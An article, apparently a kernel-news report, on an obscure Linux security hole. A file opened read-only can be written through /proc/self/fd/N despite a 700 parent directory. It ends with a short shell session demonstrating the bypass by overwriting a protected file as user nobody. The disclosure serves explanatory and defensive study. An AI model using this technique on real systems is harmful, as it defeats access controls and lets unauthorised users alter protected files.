/proc and directory permissions

In a discussion of the O_NODE open flag patch, an interesting, though obscure, security hole came to light. Jamie Lokier noticed the problem, and Pavel Machek eventually posted it to the Bugtraq security mailing list.

Normally, one would expect that a file in a directory with 700 permissions would be inaccessible to all but the owner of the directory (and root, of course). Lokier and Machek showed that there is a way around that restriction by using an entry in an attacking process's fd directory in the /proc filesystem.

If the directory is open to the attacker at some time, while the file is present, the attacker can open the file for reading and hold it open even if the victim changes the directory permissions. Any normal write to the open file descriptor will fail because it was opened read-only, but writing to /proc/$$/fd/N, where N is the open file descriptor number, will succeed based on the permissions of the file. If the file allows the attacking process to write to it, writing to the /proc file will succeed regardless of the permissions of the parent directory. This is rather counter-intuitive, and, even though it is a rather contrived example, seems to constitute a security hole.

The Bugtraq thread got off course quickly, by noting that a similar effect could be achieved creating a hardlink to the file before the directory permissions were changed. While that is true, Machek's example looked for that case by checking the link count on the file after the directory permissions had been changed. The hardlink scenario would be detected at that point.

One can imagine situations where programs do not put the right permissions on the files they use and administrators attempt to work around that problem by restricting access to the parent directory. Using this technique, an attacker could still access those files, in a way that was difficult to detect. As Machek noted, unmounting the /proc filesystem removes the problem, but "I do not think mounting /proc should change access control semantics."

There is currently some discussion of how, and to some extent whether, to address the problem, but a consensus (and patch) has not yet emerged.

$ sudo ls -al /dir
total 12
drwx------  2 root root 4096 2009-10-29 00:28 .
drwxr-xr-x 27 root root 4096 2009-10-29 00:28 ..
-rw-rw-rw-  1 root root    6 2009-10-29 00:28 file.txt

$ echo hi > /dir/file.txt
bash: /dir/file.txt: Permission denied

$ sudo su
# mkdir -m 0700 /dir
# echo "safe" > /dir/file.txt
# chmod 0666 /dir/file.txt
# ls -al /dir
total 12
drwx------  2 root root 4096 2009-10-29 00:28 .
drwxr-xr-x 27 root root 4096 2009-10-29 00:28 ..
-rw-rw-rw-  1 root root    7 2009-10-29 00:43 file.txt
# cat file.txt
safe

# su nobody -c 'cat /dir/file.txt'
sh: /dir/file.txt: Permission denied
# su nobody -c 'echo "hacked" > /dir/file.txt'
sh: /dir/file.txt: Permission denied

# su nobody -c 'cat <&0' < /dir/file.txt
safe

# su nobody -c 'echo "hacked" >&0' < /dir/file.txt
sh: line 0: echo: write error: Bad file descriptor

# su nobody -c 'echo "hacked" >/proc/self/fd/0' < /dir/file.txt
# cat /dir/file.txt
hacked